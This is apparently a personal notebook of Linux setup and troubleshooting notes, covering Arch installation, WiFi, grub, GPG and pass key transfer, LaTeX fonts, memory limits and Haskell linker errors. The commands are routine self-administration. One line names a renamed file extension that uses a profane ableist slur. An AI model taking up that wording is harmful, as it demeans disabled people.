'package)\n(add-to-list 'package-archives '(\"melpa\" . \"http://melpa.org/packages/\"))\n(add-to-list 'package-archives '(\"marmalade\" . \"http://marmalade-repo.org/packages/\"))\n```\n\nThe package list must be explicitly updated before they can be installed:\n\n M-x package-refresh-contents [RET]\n M-x package-install [RET] dash [RET]\n M-x package-install [RET] dash-functional [RET]\n M-x package-install [RET] f [RET]\n M-x package-install [RET] s [RET]\n\nAfter this it is probably worth actually, you know, READING the README:\nhttps://github.com/leanprover/lean/tree/master/src/emacs\nIn particular I needed to add all of this to .emacs:\n\n(notice that lean-rootdir is the *install directory of Lean*,\n as opposed to something like GOPATH)\n\n```elisp\n(package-initialize)\n\n;; Install required/optional packages for lean-mode\n(defvar lean-mode-required-packages\n '(company dash dash-functional flycheck f\n fill-column-indicator s))\n(let ((need-to-refresh t))\n (dolist (p lean-mode-required-packages)\n (when (not (package-installed-p p))\n (when need-to-refresh\n (package-refresh-contents)\n (setq need-to-refresh nil))\n (package-install p))))\n\n;; Set up lean-root path\n(setq lean-rootdir \"/usr/local\")\n(setq-local lean-emacs-path \"/usr/local/share/emacs/site-lisp/lean\")\n(add-to-list 'load-path (expand-file-name lean-emacs-path))\n(require 'lean-mode)\n```\n\nIt was also necessary to install ninja (`sudo apt install ninja`)\nand copy the binary from `/usr/sbin` to `/usr/local/bin`\n\n<!-- ----------------------------->\n# Mendeley\n\n**(2016-10-24)**\n\nHuh, don't recall having much trouble with the install the first time,\nbut this reinstall is proving to be a hassle.\n\nNote: It installs itself on first run. The \"installer\" there is just\nfor the mendeley: protocol, ignore it.\n\nSome notes:\n\n* **Unpack Mendeley where you want it to live _forever._**\n It will install symlinks which point into that directory.\n (this is in spite of the fact that it also makes hard copies of\n a bunch of other very large files >_>)\n\n* **Don't run with an active `ulimit -r`!!**\n Because mendeley thinks it is entitled to everything.\n\nAlso, beware that it puts files in several places.\nI found and deleted stuff at `./local/share/{data,Mendeley\\ Ltd.}`\n\nThat said, it looks like the devs had a bit of fun with writing\nmessages for consecutive crashes. (Note: tracked in\n\"~/.config/Mendeley Ltd./Mendeley Desktop.conf\":)\n\n [CrashReport]\n consecutiveCrashCount=6\n lastRunExitedCleanly=false\n lastRunVersion=1.17.1\n lastStartTime=1477329538\n\n<!-- ----------------------------->\n# WiFi issues after suspend\n\nAfter the 16.04 update I frequently find my laptop shows the icon for\na wired connection in the notification area after awakening from suspend,\nand refuses to display or connect to any wifi networks.\n\nOn this thread:\nhttp://askubuntu.com/questions/761180/wifi-doesnt-work-after-suspend-after-16-04-upgrade\n\nthe asker claims that this command reproduces the issue\n\n sudo service network-manager restart\n\nAlthough for me, said command resolves it.\n\nTo prevent the issue from recurring,\nI created the service script given in the top answer;\nif this section doesn't get updated, then it probably worked.\n\n<!-- ----------------------------->\n# Linux kernel 4.8.0\n\n**(2016-12-12)**\n\nCurrently the generic linux image metapackage on Xenial points to 4.4.0,\nbut 4.8.0 kernels are available.\n\nThese are needed for the perf tool to display annotations from rust source code.\n\nHowever, it also seems to be causing terrible framerate issues, so I don't think\nI'll be sticking with it for too long...\n\n(search tag: FPS)\n\n<!-- ----------------------------->\n# WiFi on desktop in arch\n\n**(2017-02-26)**\n\nHow I got wifi working on the Arch Linux Live USB, on the desktop (which uses\nthe Netgear N150 Wireless USB Adapter WNA1100):\n\nMostly followed this:\nhttp://linuxcommando.blogspot.com/2013/10/how-to-connect-to-wpawpa2-wifi-network.html\n\nBroad summary:\n\n```\n# iw dev\nphy#0\n Interface wlp0s18f2u3\n ...\n# IF=wlp0s18f2u3\n\n# ip link show $IF\n10: wlp0s18f2u3: <BROADCAST,MULTICAST> ...\n# ip link set $IF up\n# ip link show $IF\n10: wlp0s18f2u3: <NO-CARRIER,BROADCAST,MULTICAST,UP> ...\n\n# iw dev $IF link\nNot connected.\n# iw dev $IF scan\n ...\n SSID=FiOS-KM0UW\n ...\n# SSID=FiOS-KM0UW\n# CONF=/etc/wpa_supplicant/${SSID}.conf\n# wpa_passphrase $SSID \"the-network-password\" >$CONF\n# wpa_supplicant -B -i$IF -Dnl80211 -c$CONF\n# iw dev $IF link\nConnected to my:ma:ca:dd:re:ss (on wlp0s18f2u3)\n...\n\n# ping google.com\nping: google.com: Name or service not known.\n# dhclient $IF\n# ping google.com\nPING google.com (172.217.4.78) 56(84) bytes of data.\n...\n```\n\n`/etc/wpa_supplicant.conf` is instead an empty directory `/etc/wpa_supplicant`;\nyou can just create any file there (it is arbitrary anyways since we manually\nspecify the path later).\n\nIn `wpa_supplicant`, I needed to swap `-Dwext` out for `-Dnl80211`.\n\nClean up old `wpa_supplicant` processes after a failed attempt (they will cause an\notherwise perfectly valid configuration to appear to fail)\n\n***VERY IMPORTANT***\n\nAt some point while following the ArchLinux install guide (https://wiki.archlinux.org/index.php/installation_guide)\nyou chroot into your soon-to-be-root directory and have the opportunity to\nuse `pacman` install various things.\n\nINSTALL ALL OF THE WIFI TOOLS!!!!\n\n pacman -S iw wpa_supplicant dhclient\n\n<!-- ----------------------------->\n# ARCH SETUP TODO LIST\n\n**(2017-02-27)**\n\nVarious steps one should not forget while installing Arch:\n\n### During the installation guide:\n\n#### Obvious advice\n\nMAKE DOUBLY SURE YOU DON'T MISS ANY STEPS!\n\n#### pacstrap:\n\ninstead of just base, do: base base-devel\n\n#### grub:\n\nThe following installs grub to the MBR, and boots an operating system\nin legacy (BIOS) mode (a.k.a. \"not EFI mode\"):\n\n pacman -S grub os-prober\n # NOTE: don't worry about the x86 target;\n # 32-bit Grub can boot into a 64-bit operating system.\n grub-install --target=i386-pc /dev/sdx\n grub-mkconfig -o /boot/grub/grub.cfg\n\n\nForgot where you put grub?\n\n sudo dd if=/dev/sdx bs=512 count=1 2>/dev/null | strings\n\n##### on the T430s...\n\nSetting up the T430s involved quite a bit of running around in circles,\nbut ultimately the outcome was this:\n\n* The preinstalled Windows 7 boots through UEFI. This can be confirmed\n beyond a shadow of a doubt by booting into windows and searching\n \"C:\\Windows\\Panther\\setupact.log\" for \"Detected boot\".\n (I found \"Detected boot environment: EFI\";\n for Legacy mode it would say \"BIOS\")\n\n* The Arch Linux Live USB was not booting through UEFI, as made clear by\n the lack of `/sys/firmware/efi`\n\n* The latter could be fixed in the BIOS settings, by changing \"Legacy first\"\n to \"EFI first\" (or \"UEFI First\", don't remember the precise name).\n\nUnlike legacy-mode bootloaders, EFI bootloaders must match the architecture:\n\n # inside the chroot...\n # (note: incidentally, my /boot is also a separate drive (in hindsight\n # I'm not entirely sure what prompted me to do that), so after this\n # the path /mnt/boot/efi was literally 3 recursively nested mounts :P)\n mount /dev/sdx1 /boot/efi\n pacman -S efibootmgr\n grub-install # no args necessary; it will see /boot/efi\n # and do the needful\n grub-mkconfig -o/boot/grub/grub.cfg\n\nIf, upon reboot, you see this: (pay special attention to the UUID!)\n\n error: no such device: ad4103fa-d940-47ca-8506-301d8071d467\n Loading Linux core repo kernel ...\n error: no such partition.\n Loading initial ramdisk ...\n error: you need to load the kernel first.\n\nthen you forgot to do grub-mkconfig. (The 'ad4103fa' UUID will bring up\nmany google results if you search for it, because it is specified\nin the default `/boot/grub/grub.cfg`.)\n\n##### /etc/wpa-supplicant/:\n\nCopy your conf file to the chroot!!!\nAnd please please please `pacman -S iw dhclient wpa_supplicant`!\n\n### rankmirrors:\n\nBe sure to do this before installing lots of packages.\n(the rankmirrors script is part of the base install, so feel free to\n wait until after the reboot)\n\nThe default `/etc/pacman.d/mirrorlist` is in a format that is easily\nfiltered by region. DO THIS! (don't worry, there's an entire 40 mirrors\nin the US alone!)\n\n(rankmirrors will mess up the comments that make this filtering\n possible, so keep the original, too!)\n\n```\ncp /etc/pacman.d/mirrorlist{,.bak}\ngrep --no-group-separator -A1 'United States' /etc/pacman.d/mirrorlist.bak >/etc/pacman.d/mirrorlist.us\nrankmirrors -v /etc/pacman.d/mirrorlist.us >/etc/pacman.d/mirrorlist\n```\n\n### User account:\n\nAfter the installation guide:\n\n # (warning: this is from memory)\n useradd -G wheel -c /bin/bash exp -m\n visudo # ... uncomment the line for the wheel group\n sudo passwd exp # ... set the password\n sudo su exp # try it out\n sudo su # (and make sure the new user can 'sudo'!)\n\n### Packages:\n\nThese can be installed after chroot to `/mnt` in the installation guide,\nor after booting into the new OS:\n\n```sh\npacman -S iw dhclient wpa_supplicant networkmanager\npacman -S wifi-menu dialog\npacman -S git cmake\npacman -S vim emacs\npacman -S python{,2}{,-pip} ruby rustup\n# pacman -S ghc ghc-mod cabal-install # UPDATE: don't do this, see below\npacman -S nodejs npm\npacman -S pass gnupg pwgen\npacman -S xorg-xinit # has startx; not part of the 'xorg' group\npacman -S rustup # NOTE: don't run as root\npacman -S lsof mlocate tree\npacman -S zsh bash-completion zsh-completions\npacman -S ssh\npacman -S jq\npacman -S openmpi boost openmp # don't get blas/lapack yet!\n\n# can't go without the AUR\ngit clone https://aur.archlinux.org/package-query.git\ncd package-query\nmakepkg -si # NOTE: this asks for a password\n # even if you are root\ncd ..\ngit clone https://aur.archlinux.org/yaourt.git\ncd yaourt\nmakepkg -si\ncd ..\n\n# don't ever install anything from AUR with `haskell-*` dependencies\n# (see entry in notes.org from November 1 2017 about linker errors)\npacman -S ghc ghc-static\ngit clone https://github.com/haskell/cabal\ngit clone https://github.com/commercialhaskell/stack\n(cd cabal/cabal-install && ./bootstrap.sh)\n(cd stack && cabal install)\n\n# some odds and ends that can otherwise put a hiccup in your morning\npacman -S ntfs-3g # the standard ntfs driver is read-only\npacman -S exfat-utils # for formatting flash drives as exFAT\n# pacman -S dosfsutils # for formatting flash drives as FAT32.\n# # or perhaps don't; FAT32 sucks, and having it might tempt\n# # you to pick it from gparted's list.\n\n# Make numpy faster; openblas beats the crap outta cblas\npacman -S openmp\nyaourt openblas-lapack\n # choose to edit the config file\n # in the _config= string, change to USE_OPENMP=1\n\n# pip will by default install to /usr (not /usr/local), potentially\n# making life miserable if you later want to install things through\n# pacman. Here's some packages known to be on the arch repo.\n#\n# If it's too late and you've already installed stuff from pip\n# that is blocking pacman, be aware of the following command:\n#\n# pip freeze\n#\n# which lists all installed packages and might help you find the\n# right name to give \"pip uninstall\". (which does NOT necessarily\n# match the name of the subdirectory inside site-packages)\n#\n# (half of these were found just by looking at the optional deps\n# of python-pandas)\narr=()\narr+=(jupyter jupyter-notebook)\narr+=(python-networkx python2-networkx)\narr+=(python-nose python2-nose)\narr+=(python-scipy python2-scipy)\narr+=(python-numexpr python2-numexpr)\narr+=(python-bottleneck python2-bottleneck)\narr+=(python-matplotlib python2-matplotlib)\narr+=(python-pandas python2-pandas)\npacman -S \"${arr[@]}\"\n```\n\n**(NOTE 2017-11-17):**\n For reasons unbeknowest to me, it appears that some time\n after I wrote the above I decided to install jupyter-notebook through pip.\n Since I didn't document why, I can only assume it was due to a temporary lapse in judgement.\n If I some day later find that I have made this same mistake, here's a list of all the\n things I had to uninstall this time:\n\n sudo pip uninstall pygments wcwidth ipython pyzmq\n sudo pip uninstall jupyter-core jupyter-console jupyter-client jupyter-notebook\n sudo pip uninstall pexpect pickleshare nbformat jsonschema\n sudo pip uninstall traitlets ipython_genutils terminado tornado ptyprocess decorator\n sudo pip uninstall jinja2 markupsafe\n\n\ndon't forget drivers!\n\n THINKPAD: xf86-input-synaptics\n NVIDIA CARDS: xf86-video-nouveau OR nvidia\n\n### Laptop battery state\n\n pacman -S acpi\n modprobe ac # note: many other drivers exist too (e.g. for temperature)\n acpi -d\n\n### Dear god that text is so tiny\n\nTry this:\n\n pacman -S terminus-font\n setfont ter-132n\n\nSee /usr/share/kbd/consolefonts for a list of available fonts.\n\nTo make it persistent, add \"FONT=ter-132n\" to \"/etc/vconsole.conf\".\n\n### Passwords:\n\nIf not done already:\n\n pacman -S pass gnupg pwgen git\n\nDo NOT do `pass init` (you'll see).\nAlso, add this to .bashrc: (assuming this is still the key I use)\n\n export GPGKEY=6FB78008\n\n(to be honest, I'm not sure if exporting it makes any difference, because\n I'm not sure if any programs look at this envar; but at the very least,\n it is useful in some expansions)\n\n#### Transfer `gnupg` keys\n\n**On an old system,** export your gnupg private key (the public key\nis included with it):\n\n gpg --export-secret-key $GPGKEY >priv.keys\n\n**On the new system:**\n\nAttempt to import the keys. **This will likely fail;** the point is to make\ngpg automatically create .gnupg with the right set of permissions it wants.\n\n # NOTE: Expected to fail with \"problem with the agent: No pinentry\".\n # or \"problem with the agent: (something along the lines of File not Found)\"\n # The purpose for now is to make gpg generate ~/.gnupg.\n gpg --import priv.keys\n\nThe reason it fails is because by default, the gpg-agent tries to start\nsome GUI prompt for a password. Let's fix that:\n\n echo 'pinentry-program /usr/bin/pinentry-tty' >>~/.gnupg/gpg-agent.conf\n pkill gpg # kill any broken agents that are still running.\n gpg --import priv.keys # this should succeed now.\n\n**NOTE 2018-02-24:** I have a new pinentry program in dotfiles/bin which is more versatile than `pinentry-tty`.\n\nOddly, this is enough to let you decode messages with the key, but not\nto encode them with the public key. For that, you need to \"trust\" it:\n\n gpg --edit-key $GPGKEY\n gpg> trust\n (give yourself a trust level of 5 and confirm)\n\nThat should be it for `gpg`. (for now)\n\n#### Clone the `pass` storage\n\nA bare clone of .password-store is on the external 3.0 TB HDD.\nMount it to a path that you're comfortable sticking to.\n\n git clone /mnt/ext4-backup/password-store.git/ ~/.password-store\n\n`pass` should now be fully functional.\n\n...unfortunately, it's a bit tough to use without X window system\n\n#### Let `git` know about the GPG key\n\nIf you want, you can sign commits with the GPG key.\n(unfortunately, this will NOT let you bypass the password prompt;\n you need an SSH key for that)\n\nSee this: https://help.github.com/articles/telling-git-about-your-gpg-key/\nand also do this:\n\n git config --global commit.gpgsign true\n\n#### Once you have a desktop\n\n sudo pacman -S chromium firefox flashplugin\n\n#### Fonts\n\nThe \"infinality-bundle\" package recommended in various places\nis down and the maintainer is out. Lookee here instead.\n\n https://gist.github.com/cryzed/e002e7057435f02cc7894b9e748c5671\n\nSeems overall though that font-bundling packages are very ephemeral.\nThe above link will probably far outdated by the next time I read this.\n\n#### CRUCIAL THINGS TO DO AFTER INSTALLING ANY DESKTOP ENVIRONMENT\n\nReplace the 'vim' package with 'gvim', because that package includes a CLI\nversion of vim that is compiled with '+clipboard' and '+xterm_clipboard'.\n\n sudo pacman -R vim\n sudo pacman -S gvim\n\n\n#### CRUCIAL THINGS TO DO AFTER INSTALLING KDE\n\nOpen the dash and type \"Global shortcuts\".\nLook under \"kmserver\".\nObserve these lovely keybindings:\n\n Ctrl+Alt+Shift+PgDn : Halt without confirmation\n Ctrl+Alt+Shift+PgUp : Reboot without confirmation\n\nBurn them with fire.\n\n#### THINGS I DID ON THE LAPTOP WHILE TRYING TO GET A WORKING DESKTOP, BUT I DON'T UNDERSTAND HOW THE THING I DID THAT MADE IT WORK ACTUALLY MADE IT WORK\n\nThis is largely narrative written after the fact. There are probably factual\nerrors and inconsistencies; I tried my best to reconstruct this from my bash\nhistory, but that history doesn't include e.g. the error messages I saw!\n\nOkay, so: I tried installing 'i3' (a tiling window manager) and put this in\n`.xinitrc`:\n\n exec i3\n\nHowever, inside `i3` I observed the following:\n\n* Super+d just gave a permanent 'wait' cursor (it is supposedly supposed to\n open a menu)\n* Super+Enter complained that there were no terminals. After installing\n `gnome-terminal`, it just gave a permanent 'wait' cursor.\n* Super+Shift+e opened a \"are you sure you want to leave\"-sort of box at\n the top. Clicking \"Yes\" did nothing. Clicking \"Yes\" a second time dismissed\n the bar (but did not exit i3).\n\nCtrl+Alt+Fing to a new terminal I saw various scary-looking errors from nouveau.\nSo I installed the nouveau drivers: (strangely not a dependency of nouveau?)\n\n sudo pacman -S xf86-video-nouveau\n sudo reboot\n\nHowever this did not remove the errors or improve my experience with `i3` (and\nif anything, it just made more errors appear on boot!). One of those errors\nmentioned IBUS so I decided \"hey let's install ibus because why not\"\n\n sudo pacman -S ibus dbus\n sudo reboot\n # Nope, still have all these lousy errors\n\nGoogling one of the errors led to a forum post where some guy supposedly\nsolved all his issues by installing bumblebee. After reading up on:\n\nhttps://wiki.archlinux.org/index.php/NVIDIA\nhttps://wiki.archlinux.org/index.php/NVIDIA_Optimus\nhttps://wiki.archlinux.org/index.php/bumblebee\n\nand knowing that the laptop has Nvidia OPTIMUS, I figured \"well gee, what the\nhey\" and decided to install bumblebee and the nvidia drivers.\n\n # (NOTE: there are also nvidia-340xx and nvidia-304xx for legacy drivers;\n # to determine what you need, `lspci -nn` to get the pci id numbers\n # and search for them here: http://www.nvidia.com/object/IO_32667.html)\n sudo pacman -S nvidia\n sudo pacman -S bumblebee mesa-demos\n sudo gpasswd -a exp bumblebee\n sudo systemctl enable bumblebeed\n sudo reboot now\n\nThis cleared the nouveau errors, but I think that's mostly just because\ninstalling nvidia disables nouveau. :P\nI was unable to run the `optirun` tests on the bumblebee page because they\napparently required a running x session, and `i3` was still unusable.\n\n lsmod | grep nvidia # hmm, nothing\n nvidia-modprobe\n lsmod | grep nvidia # okay there's something, but was that necessary?\n startx # gah, still sucks\n\nThen I installed `plasma` (the full KDE5 desktop environment),\nand enabled `sddm` (the DM that comes with plasma):\n\n sudo pacman -S plasma\n systemctl enable sddm.service\n sudo reboot\n\nOn reboot, SDDM was set to load `i3` by default; it loads i3 (without\nvisually clearing the login screen), and i3 is now able to open terminals\n(and it uses gnome-terminal) and be quit out of. I'm not entirely sure\nwhy installing a DM would fix that, but then again I'm not entirely sure\nthat I've gotten all the details right!\n\nSo there ye have it.\n\n...by the way, it turns out KDE actually kicks ass,\nso let's forget about `i3` for now. :3\n\n#### Automatic Wifi and ethernet\n\nonce you're bored of using wpa_supplicant manually, enable some services:\n\n sudo ip link # to figure out device names\n sudo systemctl enable [email protected]\n sudo systemctl enable [email protected]\n sudo systemctl enable NetworkManager\n sudo reboot\n\nand then e.g. Plasma already has a network management widget that should\nappear in the tray.\n\n<!-- ----------------------------->\n# LaTeX on arch\n\n**(2017-05-16)**\n\n sudo pacman -S texlive-most\n\nNote that this doesn't install the \"fourier\" package correctly.\n\n```text\n(/usr/share/texmf-dist/tex/latex/fourier/fmlfutmi.fd)\n(/usr/share/texmf-dist/tex/latex/amsfonts/umsa.fd)\n(/usr/share/texmf-dist/tex/latex/amsfonts/umsb.fd) [1{/home/lampam/.texlive/texmf-var/fonts/map/pdftex/updmap/pdftex.map}] (./projections.aux)\nkpathsea: Running mktexpk --mfmode / --bdpi 600 --mag 0+458/600 --dpi 458 futr8rmktexpk: don't know how to create bitmap font for futr8r.\nmktexpk: perhaps futr8r is missing from the map file.\nkpathsea: Appending font creation commands to missfont.log.\n)\n!pdfTeX error: pdflatex (file futr8r): Font futr8r at 458 not found\n==> Fatal error occurred, no output PDF file produced!\n```\n\nThis can be solved with manual intervention:\n\nDo ONE of the following. I'm not sure which is better.\n(try the -sys one. Once you do the non-sys one, you effectively detach\n yourself from the system config, and you're stuck with the consequences until...\n well, I guess until you find the user-local config files and delete them)\n\n```\nupdmap --enable Map fourier.map\nsudo updmap-sys --enable Map fourier.map\n```\n\n<!-- ----------------------------->\n# nolimit on arch\n\n**(2017-04-21)** (updated **2022-02-10**)\n\nFor many years, I have kept a virtual memory limit as a bumper rail against disk\nthrashing in times when I accidentally eat all of my memory with a python script.\n\nI currently set these memory limits in /etc/security/limits.conf.\n(this used to be done in .bashrc, but reasonable limits are machine-dependent)\n\n lampam soft as 8000000\n\nThere is an executable in `<dotfiles>/bin` called `unlimited` for bypassing this limit\nfor a single program (it simply does `ulimit -Sv unlimited` in a subshell).\n\n $ ulimit -v\n 8000000\n $ unlimited ulimit -v\n unlimited\n\n(formerly, I had to do `su; ulimit -v unlimited; su lampam;` but that was because I had naively\n set a hard limit instead of a soft limit)\n\nUnfortunately, in mid 2020, a new version of electron was released which maps *absurd* amounts\nof virtual memory that it does not commit to physical memory. This causes numerous programs\nto die horrible, painful deaths unless run through the `unlimited` wrapper.\n\n $ code .\n /usr/bin/code: line 53: 1446 Trace/breakpoint trap (core dumped) ELECTRON_RUN_AS_NODE=1 \"$ELECTRON\" \"$CLI\" \"$@\"\n $ chromium\n <lots of log garbage omitted>\n #\n # Fatal error in , line 0\n # Fatal process out of memory: Failed to reserve memory for new V8 Isolate\n #\n #\n #\n #FailureMessage Object: 0x7ffc28000ad0#0 0x5642b147235a <unknown>\n <lots of log garbage omitted>\n $ unlimited code .\n $ unlimited chromium\n\n<!-- ----------------------------->\n# Android Development and debugging\n\n**(2017-07-03)**\n\n - Follow: https://wiki.archlinux.org/index.php/android\n - ...with these modifications/notes:\n\n - Here are the \"setup steps\" that accumulate over time for any new terminals\n you open until you reboot:\n\n ```\n $ source /etc/profile\n $ bash # give me back my prompt! >:3\n $ newgrp sdkusers\n $ newgrp adbusers\n ```\n\n - Ignore \"Adding udev Rules\". Don't worry about vendor ids.\n - Instead, load dotfiles/stow/android-adb-usb .\n\n - On the next step ('adb devices'), if you see 'unauthorized' instead\n of 'device', check the phone screen. (It might be asking to authorize\n the host key)\n\n - You can ignore \"Building Android\" and onwards if you're just using\n android-studio and adb.\n\n<!-- ----------------------------->\n# Windows 7 os-prober troubles\n\nThree words.\nMOUNT. THE. DRIVE.\n\nTHEN you can run 'update-grub' or 'grub-mkconfig -o /boot/grub/grub.cfg' as normal.\nYou will see it print \"Found Windows 7 on /dev/sda1\" as one of its lines when\n the os-prober rule runs.\n(you do not need to run 'os-prober' manually)\n\nSpecifically *mount the one with the bootloader!* On my desktop it's called\n\"System Reserved\" and if you mount it you might find a file \"/bootmgr\".\n\n<!-- ----------------------------->\n# Can't create ExFAT in gparted\n\n**(2017-07-27)**\n\n**Answer:** That is correct.\n[You can't.](http://gparted.org/features.php)\nJust use mkfs.exfat instead.\n\n<!-- ----------------------------->\n# Can't log into CCI\n\n**(2017-07-05)**\n\n Aparently password IS correct;\n Tried using the password update form and it reported that the password was updated.\n If a BS password is given it errors with \"Current password does not match\".\n\n Colin cannot log in either, and also got success with the PW change form.\n\n Stopped receiving Maintenance emails at the end of March.\n\nResolution: After emailing support, the account was reactivated.\n It was disabled due to inactivity.\n\n<!-- ----------------------------->\n# Colin's IDE\n\n**(2017-07-10)**\n\nIt's 'clion' from AUR.\nOn startup, choose \"Custom cmake: /usr/bin/cmake\".\n(note: when not doing this, I got a segfault in the middle of some\nrandom looking rule for building lammps)\n\n<!-- ----------------------------->\n# Note on the laptop SSD remounting as read-only\n\n**(2017-08-27)**\n\n is on the T430s, which has an SSD that uses mSATA (that's the one\nthat has the exact same form factor as PCIe)\n\nToday, I received an overwhelmingly clear message about what it is I'm doing\nthat causes this issue to arise:\n\n- Beyond a shadow of a doubt, the issue occurs when pressure is applied to\n a certain area on the underside of the laptop.\n (this area is at the center horiziontally, and just behind the center vertically\n (as in, it is closer to the monitor than to me))\n\n Unfortunately for me, I have a very strong tendency to hold it there (either on my\n knee when I'm sitting or on the palm of my hand when standing) since it tends to\n coincide with the laptop's center of gravity.\n\n If memory serves me right, this also happens to be the precise location\n where the SSD is installed.\n\n- When the pressure is applied enough to cause problems, there is a noise (!!!).\n When I finally discovered this, I gave myself two seconds to \"play with fire\"\n and deliberately invoke the noise, trying to understand when exactly it sounds,\n and burning the tone into memory.\n - It sounds like a saw wave playing at a constant frequency near... 1700 Hz?\n http://onlinetonegenerator.com/\n - It begins to sound the moment the pressure applied crosses a certain threshold,\n and cuts off as soon as the pressure decreases back below that threshold.\n - It is very quiet. My face must be right next to the system to hear it.\n I've never even noticed it until now.\n\n<!-- ----------------------------->\n# Cabal linker errors\n\n**(2017-09-01)**\n\nSuddenly one day, after not using Haskell for a while:\n\n```sh\n$ cabal test\nPreprocessing library arithmoi-0.5.0.1...\nPreprocessing test suite 'spec' for arithmoi-0.5.0.1...\nLinking dist/build/spec/spec ...\n/usr/bin/ld: cannot find -lHStagged-0.8.5-DG0qxw3gXxx4NfDcDx4Iai\n/usr/bin/ld: cannot find -lHSregex-tdfa-1.2.2-JFeutuWiS2vGBM4qXQlqio\n/usr/bin/ld: cannot find -lHSregex-base-0.93.2-AYjYAsBidAc8f5XNm9b2Aa\n/usr/bin/ld: cannot find -lHSparsec-3.1.11-1CA7c0vSU7tJHGhveOjoXR\n/usr/bin/ld: cannot find -lHStext-1.2.2.2-3ENqlljngKa6xj1Go2fVWq\n/usr/bin/ld: cannot find -lHSbinary-0.8.3.0\n/usr/bin/ld: cannot find -lHSoptparse-applicative-0.13.2.0-J9tSV1D1M11JWNEbVQPonU\n/usr/bin/ld: cannot find -lHStransformers-compat-0.5.1.4-IuFogs8HAVUJBWVNMhtssu\n/usr/bin/ld: cannot find -lHSprocess-1.4.3.0\n/usr/bin/ld: cannot find -lHSdirectory-1.3.0.0\n/usr/bin/ld: cannot find -lHSunix-2.7.2.1\n/usr/bin/ld: cannot find -lHSbytestring-0.10.8.1\n/usr/bin/ld: cannot find -lHSfilepath-1.4.1.1\n/usr/bin/ld: cannot find -lHSansi-wl-pprint-0.6.8.1-E76ARGam2soH7nnUTX5qkH\n/usr/bin/ld: cannot find -lHSclock-0.7.2-6ZjQ4liQAtMEQ8sxJKD0xY\n/usr/bin/ld: cannot find -lHSasync-2.1.1.1-2GwQEYzLBsdIBCHbNA3HGy\n/usr/bin/ld: cannot find -lHSstm-2.4.4.1-iSYwp3RMY11sHCifJ3gtR\n/usr/bin/ld: cannot find -lHSansi-terminal-0.6.3.1-59sjf9WqHYuFAo9gQw9Bhp\n/usr/bin/ld: cannot find -lHSsmallcheck-1.1.2-LDYrF813cXx9pXAB4DnM94\n/usr/bin/ld: cannot find -lHSlogict-0.6.0.2-IvIE0u44i1X7ob5HesINuT\n/usr/bin/ld: cannot find -lHSmtl-2.2.1-BLKBelFsPB3BoFeSWSOYj6\n/usr/bin/ld: cannot find -lHSinteger-logarithms-1.0.2-IDuUvOgHWcrIzD9yrr4lsA\n/usr/bin/ld: cannot find -lHSQuickCheck-2.10.0.1-ALuGysu7txTB2VnkPyDuTq\n/usr/bin/ld: cannot find -lHStf-random-0.5-CJZw1ZWS5MOJlR60HqKEZL\n/usr/bin/ld: cannot find -lHSprimitive-0.6.2.0-4578caNkWQ54Gt1mxLF2Yh\n/usr/bin/ld: cannot find -lHStransformers-0.5.2.0\n/usr/bin/ld: cannot find -lHStemplate-haskell-2.11.1.0\n/usr/bin/ld: cannot find -lHSpretty-1.1.3.3\n/usr/bin/ld: cannot find -lHSghc-boot-th-8.0.2\n/usr/bin/ld: cannot find -lHSrandom-1.1-9tceXaeYIMZ4JrKq20Egog\n/usr/bin/ld: cannot find -lHStime-1.6.0.1\n/usr/bin/ld: cannot find -lHScontainers-0.5.7.1\n/usr/bin/ld: cannot find -lHSdeepseq-1.4.2.0\n/usr/bin/ld: cannot find -lHSarray-0.5.1.1\n/usr/bin/ld: cannot find -lHSbase-4.9.1.0\n/usr/bin/ld: cannot find -lHSinteger-gmp-1.0.0.1\n/usr/bin/ld: cannot find -lHSghc-prim-0.5.0.0\n/usr/bin/ld: cannot find -lHSrts\ncollect2: error: ld returned 1 exit status\n`gcc' failed in phase `Linker'. (Exit code: 1)\n```\n\n**From the Arch wiki:**\n\n> GHC uses static linking by default and the -dynamic flag is needed to select dynamic linking. Since version 8.0.2-1, the Arch ghc package no longer contains static versions of the GHC boot libraries by default, nor do any of the `haskell-*` packages . Static versions of the GHC boot libraries may be installed separately through the ghc-static package, but no such equivalent exists for the `haskell-*` packages. Therefore, without -dynamic Haskell code and packages will generally fail to link unless the program depends only on boot packages and locally installed packages and ghc-static is installed.\n>\n> This also causes issues with Cabal trying to use the default static linking. To force dynamic linking in Cabal, edit `~/.cabal/config` and add the line `executable-dynamic: True`.\n>\n> Dynamic linking is used for most Haskell modules packaged through pacman and is common for packages in the AUR. Since GHC provides no ABI compatibility between compiler releases, static linking is often the preferred option for local development outside of the package system.\n\n\nEven with `executable-dynamic: True` and all Arch packages uninstalled except `ghc` and `cabal-install`, I would get linker errors if I tried to upgrade from cabal 1.24 to 2.0 via `cabal install cabal-install` (with or without `--enable-shared`).\n\nThe final solution was to revert back to static: If you uninstall all haskell packages except `ghc` and then install `ghc-static`, this will remove all dynamic libraries. (confirm by checking `sudo updatedb && locate libHS`)\n\nTo find out what Haskell packages I had to uninstall, I did:\n\n```sh\npacman -Qsq '^haskell' | sudo pacman -R -\n```\n\nwhich didn't actually work (it just gave a bunch of errors about dependencies I would break),\nbut the packages on the left-hand side of those broken dependencies\ntells you which packages were manually installed.\n\n```sh\nsudo pacman -R --recursive ghc cabal-install xmonad stack idris hlint ghc-mod cabal-helper\nsudo updatedb && locate libHS # good, nothing.\nsudo pacman -S ghc ghc-static\nsudo updatedb && locate libHS # good, still nothing.\n(cd ~/asd/clone/cabal && rm -rf * && git reset --hard && cd cabal-install && ./bootstrap.sh)\ncabal update\ncd ~/asd/clone/arithmoi\ncabal new-test # :D\n```\n\nNote to self in case I get errors later from pacman:\nI disabled some files that have no business existing:\n\n /usr/share/applications/org.bunkus.mkvinfo.desktop\n /usr/share/applications/org.bunkus.mkvtoolnix-gui.desktop\n\nI renamed their extensions from `.desktop` to `.fucking-retarded`.\n\n<!-- ----------------------------->\n# Rust on blue gene Q\n\n**(2017-09-14)**\n\nI've finally gotten rust working on blue gene.\nNotes are in this markdown file:\n\nhttps://gist.github.com/ExpHP/930578ff5735b3efa6b3e3cd966d0be3\n\nIn short:\nRust-lang supports the powerpc64-unknown-linux-gnu target triple,\nand a subcommand 'cargo vendor' exists to help manage dependencies.\n\nTags: BGQ\n\n<!-- ----------------------------->\n# lammps-sys crate on matisse\n\n**(2018-01-19)**\n\nWhen compiling rsp2 on matisse, I got strange \"undefined symbol\" errors\neven though the library was clearly linked properly and had the listed symbols.\n\nLooking at the .rcgu0 file and liblammps.so in objdump and nm both showed names\nlike `lammps_has_error`... however, `readelf -Ws` on the .rcgu0 finally 